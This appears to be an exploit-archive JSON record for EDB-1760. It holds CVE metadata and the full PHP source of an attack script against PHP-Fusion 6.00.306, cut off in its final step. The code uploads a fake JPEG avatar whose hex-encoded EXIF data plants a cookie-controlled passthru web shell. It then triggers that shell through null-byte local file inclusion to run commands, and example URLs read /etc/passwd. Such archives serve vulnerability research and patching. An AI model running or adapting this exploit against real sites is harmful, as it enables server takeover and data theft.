{"exploit":{"id":"EDB-1760","name":"PHP-Fusion 6.00.306 - Multiple Vulnerabilities","description":"PHP-Fusion 6.00.306 - Multiple Vulnerabilities","cves":["CVE-2006-2331","CVE-2006-2330"],"author":"rgod","published":"2006-05-07","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1760","path":"exploits/php/webapps/1760.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1760.php","vulnerabilities":[{"id":"CVE-2006-2331","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in PHP-Fusion 6.00.306 allow remote attackers to include and execute arbitrary local files via (1) a .. (dot dot) in the settings[locale] parameter in infusions/last_seen_users_panel/last_seen_users_panel.php, and (2) a .. (dot dot) in the localeset parameter in setup.php. NOTE: the vendor states that this issue might exist due to problems in third party local files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2331","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2331"},"updatedAt":"2024-08-07T17:43:29.285Z","retrievedAt":"2026-11-27T10:23:38.241Z","stale":false,"error":null},{"id":"CVE-2006-2330","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP-Fusion 6.00.306 and earlier, running under Apache HTTP Server 1.3.27 and PHP 4.3.3, allows remote authenticated users to upload files of arbitrary types using a filename that contains two or more extensions that ends in an assumed-valid extension such as .gif, which bypasses the validation, as demonstrated by uploading then executing an avatar file that ends in \".php.gif\" and contains PHP code in EXIF metadata.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2330","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2330"},"updatedAt":"2024-08-07T17:43:29.179Z","retrievedAt":"2026-11-27T10:07:16.185Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1760.png?v=2","url":"https://exploitbin.com/exploits/EDB-1760","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1760/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1760/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/php -q -d short_open_tag=on\n<?\necho \"PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &\\r\\n\";\necho \"local inclusion vulnerabilities\\r\\n\";\necho \"by rgod rgod@autistici.org\\r\\n\";\necho \"site: http://retrogod.altervista.org\\r\\n\\r\\n\";\n\nif ($argc<6) {\necho \"Usage: php \".$argv[0].\" host path user pass cmd OPTIONS\\r\\n\";\necho \"host:      target server (ip/hostname)\\r\\n\";\necho \"path:      path to PHPFusion\\r\\n\";\necho \"cmd:       a shell command\\r\\n\";\necho \"user/pass: you need a valid user account to upload an avatar\\r\\n\";\necho \"Options:\\r\\n\";\necho \"   -p[port]:    specify a port other than 80\\r\\n\";\necho \"   -P[ip:port]: specify a proxy\\r\\n\";\necho \"Examples:\\r\\n\";\necho \"php \".$argv[0].\" localhost /phpfusion/ your_username password cat ./../../config.php\\r\\n\";\necho \"php \".$argv[0].\" localhost /phpfusion/ your_username password ls -la -p81\\r\\n\";\necho \"php \".$argv[0].\" localhost / your_username password ls -la -P1.1.1.1:80\\r\\n\\r\\n\";\ndie;\n}\n\n/* explaination:\n\n   software site: http://www.php-fusion.co.uk/\n\n   description: \"a light-weight open-source content management system (CMS)\n   written in PHP. It utilises a mySQL database to store your site content and\n   includes a simple, comprehensive adminstration system.\"\n\n   tested versions:   PHPFusion v6.00.306\n                      PHPFusion v6.00.207\n                      PHPFusion v6.00.110\n\n\n   i) vulnerable code in includes/update_profile_include.php at lines 69-90:\n\n   ...\n   $newavatar = $_FILES['user_avatar'];\n\tif ($userdata['user_avatar'] == \"\" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {\n\t\tif (preg_match(\"/^[-0-9A-Z_\\.\\[\\]]+$/i\", $newavatar['name']) && $newavatar['size'] <= 30720) {\n                       \t$avatarext = strrchr($newavatar['name'],\".\");\n\t\t\tif (eregi(\".gif\", $avatarext) || eregi(\".jpg\", $avatarext) || eregi(\".png\", $avatarext)) {\n\t\t\t\t$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], \".\"));\n\t\t\t\t$avatarname = $avatarname.\"[\".$userdata['user_id'].\"]\".$avatarext;\n\t\t\t\t$set_avatar = \"user_avatar='$avatarname', \";\n\t\t\t\tmove_uploaded_file($newavatar['tmp_name'], IMAGES.\"avatars/\".$avatarname);\n\t\t\t\tchmod(IMAGES.\"avatars/\".$avatarname,0644);\n\t\t\t\tif ($size = @getimagesize(IMAGES.\"avatars/\".$avatarname)) {\n\t\t\t\t\tif ($size['0'] > 100 || $size['1'] > 100) {\n\t\t\t\t\t\tunlink(IMAGES.\"avatars/\".$avatarname);\n\t\t\t\t\t\t$set_avatar = \"\";\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tunlink(IMAGES.\"avatars/\".$avatarname);\n\t\t\t\t\t$set_avatar = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n   ...\n\n   A remote user can upload a malicious avatar with multiple extensions,\n   (ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata\n   content.\n   It seems that Apache mod_mime module considers double-extension files like\n   file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary\n   code that has been uploaded. Actually I can't say which Apache versions, this\n   was tested against Apache/1.3.27 with PHP/4.3.3\n\n   A note: file is renamed like this\n   .php.php[user_id].gif-fakechars-\n\n   ii) vulnerable code in infusions/last_seen_users_panel/last_seen_users_panel.php\n       at lines 12-16:\n\n   ...\n   if (file_exists(INFUSIONS.\"last_seen_users_panel/locale/\".$settings['locale'].\".php\")) {\n\tinclude INFUSIONS.\"last_seen_users_panel/locale/\".$settings['locale'].\".php\";\n} else {\n\tinclude INFUSIONS.\"last_seen_users_panel/locale/English.php\";\n}\n   ...\n\n    $settings['locale'] var is not properly sanitized before to be used to\n    include files so, if register_globals=on & magic_quotes_gpc=Off,\n    you can include local resources, poc:\n\n    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=../../../../../../../../../etc/passw%00\n    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[1].jpg%00\n\n    A note: if INFUSIONS constant is not defined, PHP will assume it as it is,\n    as \"INFUSIONS\" string. On some system , no matters if \"INFUSIONSlast_seen_users_panel/locale/........\"\n    path does not exist, you will go up from the non-existent dir of exactly four\n    dirs to include the malicious avatar.\n    This works against on 6.00.306\n\n    iii) vulnerable code in setup.php at lines 14-15:\n\n    ...\n    $localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : \"English\");\n    include \"locale/\".$localeset.\"/setup.php\";\n    ...\n\n    if this script is not deleted after installation, if magic_quotes_gpc=Off,\n    you can include files from locale resources, poc:\n\n    http://[target]/[path]/setup.php?localeset=../../../../../../../../../../etc/passwd%00\n    http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatars/suntzu[1].jpg%00\n\n    this tool tries to exploit all theese vulnerabilities, you need a valid user\n    account to upload avatars\n*/\n\nerror_reporting(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\",5);\n\nfunction quick_dump($string)\n{\n  $result='';$exa='';$cont=0;\n  for ($i=0; $i<=strlen($string)-1; $i++)\n  {\n   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\n   {$result.=\"  .\";}\n   else\n   {$result.=\"  \".$string[$i];}\n   if (strlen(dechex(ord($string[$i])))==2)\n   {$exa.=\" \".dechex(ord($string[$i]));}\n   else\n   {$exa.=\" 0\".dechex(ord($string[$i]));}\n   $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\n  }\n return $exa.\"\\r\\n\".$result;\n}\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\nfunction sendpacketii($packet)\n{\n  global $proxy, $host, $port, $html, $proxy_regex;\n  if ($proxy=='') {\n    $ock=fsockopen(gethostbyname($host),$port);\n    if (!$ock) {\n      echo 'No response from '.$host.':'.$port; die;\n    }\n  }\n  else {\n\t$c = preg_match($proxy_regex,$proxy);\n    if (!$c) {\n      echo 'Not a valid proxy...';die;\n    }\n    $parts=explode(':',$proxy);\n    echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\n    $ock=fsockopen($parts[0],$parts[1]);\n    if (!$ock) {\n      echo 'No response from proxy...';die;\n\t}\n  }\n  fputs($ock,$packet);\n  if ($proxy=='') {\n    $html='';\n    while (!feof($ock)) {\n      $html.=fgets($ock);\n    }\n  }\n  else {\n    $html='';\n    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n      $html.=fread($ock,1);\n    }\n  }\n  fclose($ock);\n  #debug\n  #echo \"\\r\\n\".$html;\n\n}\nfunction sendpacketiii($packet)\n{\n  global $proxy, $host, $port, $html, $proxy_regex;\n  if ($proxy=='') {\n    $ock=fsockopen(gethostbyname($host),$port);\n    if (!$ock) {\n      echo 'No response from '.$host.':'.$port; die;\n    }\n  }\n  else {\n\t$c = preg_match($proxy_regex,$proxy);\n    if (!$c) {\n      echo 'Not a valid proxy...';die;\n    }\n    $parts=explode(':',$proxy);\n    echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\n    $ock=fsockopen($parts[0],$parts[1]);\n    if (!$ock) {\n      echo 'No response from proxy...';die;\n\t}\n  }\n  fputs($ock,$packet);\n  fclose($ock);\n  #debug\n  #echo \"\\r\\n\".$html;\n\n}\n$host=$argv[1];\n$path=$argv[2];\n$username=$argv[3];\n$pass=$argv[4];\n$cmd=\"\";$port=80;$proxy=\"\";\nfor ($i=5; $i<=$argc-1; $i++){\n$temp=$argv[$i][0].$argv[$i][1];\nif (($temp<>\"-p\") and ($temp<>\"-P\"))\n{$cmd.=\" \".$argv[$i];}\nif ($temp==\"-p\")\n{\n  $port=str_replace(\"-p\",\"\",$argv[$i]);\n}\nif ($temp==\"-P\")\n{\n  $proxy=str_replace(\"-P\",\"\",$argv[$i]);\n}\n}\n$cmd=urlencode($cmd);\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\n\n$mypaths= array (\n\t\t 'images/avatars/',\n\t\t '',\n\t\t 'infusions/last_seen_users_panel/'\n\t\t);\n\necho \"step 0 -> Check if suntzu.php is already installed...\\r\\n\";\nfor ($i=0; $i<=count($mypaths)-1; $i++)\n{\n$packet =\"GET \".$p.$mypaths[$i].\"suntzu.php HTTP/1.0\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Cookie: cmd=\".$cmd.\";\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\nif (strstr($html,\"56789\"))\n{\n  echo \"Exploit succeeded...\";\n  $temp=explode(\"56789\",$html);\n  die(\"\\r\\n\".$temp[1].\"\\r\\n\");\n}\n}\n\necho \"step 1 -> login...\\r\\n\";\n$data =\"user_name=\".urlencode(trim($username));\n$data.=\"&user_pass=\".urlencode(trim($pass));\n$data.=\"&login=Login\";\n$packet=\"POST \".$p.\"news.php HTTP/1.0\\r\\n\";\n$packet.=\"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\\r\\n\";\n$packet.=\"Referer: http://\".$host.$path.\"news.php\\r\\n\";\n$packet.=\"Accept-Language: en\\r\\n\";\n$packet.=\"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n$packet.=\"Accept-Encoding: gzip, deflate\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\n$packet.=\"Connection: Keep-Alive\\r\\n\";\n$packet.=\"Cache-Control: no-cache\\r\\n\";\n$packet.=\"Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\n$temp=explode(\"Set-Cookie: \",$html);\n$temp2=explode(' ',$temp[1]);\n$cookie=$temp2[0];\necho 'Your cookie: '.$cookie.\"\\r\\n\";\n$temp=explode(\"fusion_user=\",$cookie);\n$temp2=explode(\".\",$temp[1]);\n$user_id=trim($temp2[0]);\necho 'Your user id: '.$user_id.\"\\r\\n\";\n\necho \"step 2 -> upload a malicious avatar with php code inside...\\r\\n\";\n$avatar=\".php.php.gif-fakechars-\";\n$shell=\nchr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).\nchr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).\nchr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).\nchr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).\nchr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).\nchr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).\nchr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).\nchr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).\nchr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).\nchr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).\nchr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).\nchr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).\nchr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).\nchr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).\nchr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).\nchr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).\nchr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).\nchr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).\nchr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).\nchr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).\nchr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).\nchr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).\nchr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).\nchr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).\nchr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).\nchr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).\nchr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).\nchr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).\nchr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).\nchr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).\nchr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).\nchr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).\nchr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).\nchr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).\nchr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).\nchr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).\nchr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).\nchr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).\nchr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).\nchr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).\nchr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).\nchr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).\nchr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).\nchr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).\nchr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).\nchr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).\nchr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);\n\n/*\nthis image has this code inside as EXIF metadata content\n<?php\n$fp=fopen(\"suntzu.php\",\"w\");\nfputs($fp,\"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\\$_COOKIE[cmd]=stripslashes(\\$_COOKIE[cmd]);}echo 56789;passthru(\\$_COOKIE[cmd]);echo 56789;?>\");\nfclose($fp);\nchmod(\"suntzu.php\",777);\n?>\n*/\n\n$data='-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_name\"\n\n'.$username.'\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_newpassword\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_newpassword2\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_email\"\n\nsucccccccp@hotmail.com\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_hide_email\"\n\n1\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_location\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_month\"\n\n--\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_day\"\n\n--\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_year\"\n\n----\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_aim\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_icq\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_msn\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_yahoo\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_web\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_theme\"\n\nDefault\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_offset\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_avatar\"; filename=\"'.$avatar.'\"\nContent-Type: application/octet-stream\n\n'.$shell.'\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_sig\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_hash\"\n\n'.md5($pass).'\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"update_profile\"\n\nUpdate Profile\n-----------------------------7d6ee3a7074a--\n';\n\n\n$packet =\"POST \".$p.\"edit_profile.php? HTTP/1.0\\r\\n\";\n$packet.=\"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\\r\\n\";\n$packet.=\"Referer: http://\".$host.$path.\"edit_profile.php\\r\\n\";\n$packet.=\"Accept-Language: en\\r\\n\";\n$packet.=\"Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\\r\\n\";\n$packet.=\"Accept-Encoding: gzip, deflate\\r\\n\";\n$packet.=\"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\n$packet.=\"Connection: Keep-Alive\\r\\n\";\n$packet.=\"Cookie: fusion_visited=yes; \".$cookie.\" PHPSESSID=44ab49664b56b97036425427b1ffb8cf\\r\\n\";\n$packet.=\"Cache-Control: no-cache\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketiii($packet);\n\necho \"step 3 -> try to launch code inside image before has chmod()...\\r\\n\";\nfor ($i=0; $i<=9; $i++)\n{\n$packet =\"GET \".$p.\"images/avatars/.php.php[\".$user_id.\"].gif-fakechars- HTTP/1.1\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\n}\n\necho \"step 3b -> try to include through last_seen_users_panel.php\\r\\n\";\n//works with register_globals=on & magic_quotes_gpc=off\n$xpl=urlencode(\"../../../../images/avatars/.php.php[\".$user_id.\"].gif-fakechars-\".chr(0x00));\n$packet =\"GET \".$p.\"infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=$xpl HTTP/1.0\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\n\necho \"step 3c -> try to include through setup.php script\\r\\n\";\n//works with magic_quotes_gpc=off\n$xpl=urlencode(\"../images/avatars/.php.php[\".$user_id.\"].gif-fakechars-\".chr(0x00));\n$packet =\"GET \".$p.\"setup.php?localeset=$xpl HTTP/1.0\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\n\necho \"step 4 -> delete avatar...\\r\\n\";\n$data='-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_name\"\n\n'.$username.'\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_newpassword\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_newpassword2\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_email\"\n\nwhattttt@hotmail.com\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_hide_email\"\n\n1\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_location\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_month\"\n\n--\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_day\"\n\n--\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_year\"\n\n----\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_aim\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_icq\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_msn\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_yahoo\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_web\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_theme\"\n\nDefault\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_offset\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_avatar\"; filename=\"whatever\"\nContent-Type: application/octet-stream\n\nwhat\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_sig\"\n\n\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"user_hash\"\n\n'.md5($pass).'\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"update_profile\"\n\nUpdate Profile\n-----------------------------7d6ee3a7074a\nContent-Disposition: form-data; name=\"del_avatar\"\n\ny\n-----------------------------7d6ee3a7074a--\n';\n\n$packet =\"POST \".$p.\"edit_profile.php HTTP/1.0\\r\\n\";\n$packet.=\"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\\r\\n\";\n$packet.=\"Referer: http://\".$host.$path.\"edit_profile.php\\r\\n\";\n$packet.=\"Accept-Language: en\\r\\n\";\n$packet.=\"Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\\r\\n\";\n$packet.=\"Accept-Encoding: gzip, deflate\\r\\n\";\n$packet.=\"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\n$packet.=\"Connection: Keep-Alive\\r\\n\";\n$packet.=\"Cookie: fusion_visited=yes; \".$cookie.\" PHPSESSID=44ab49664b56b97036425427b1ffb8cf\\r\\n\";\n$packet.=\"Cache-Control: no-cache\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\n\necho \"step 5 -> launch commands...\\r\\n\";\nfor ($i=0; $i<=count($mypaths)-1; $i++)\n{\n$packet =\"GET \".$p.$mypaths[$i].\"suntzu.php HTTP/1.0\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Cookie: 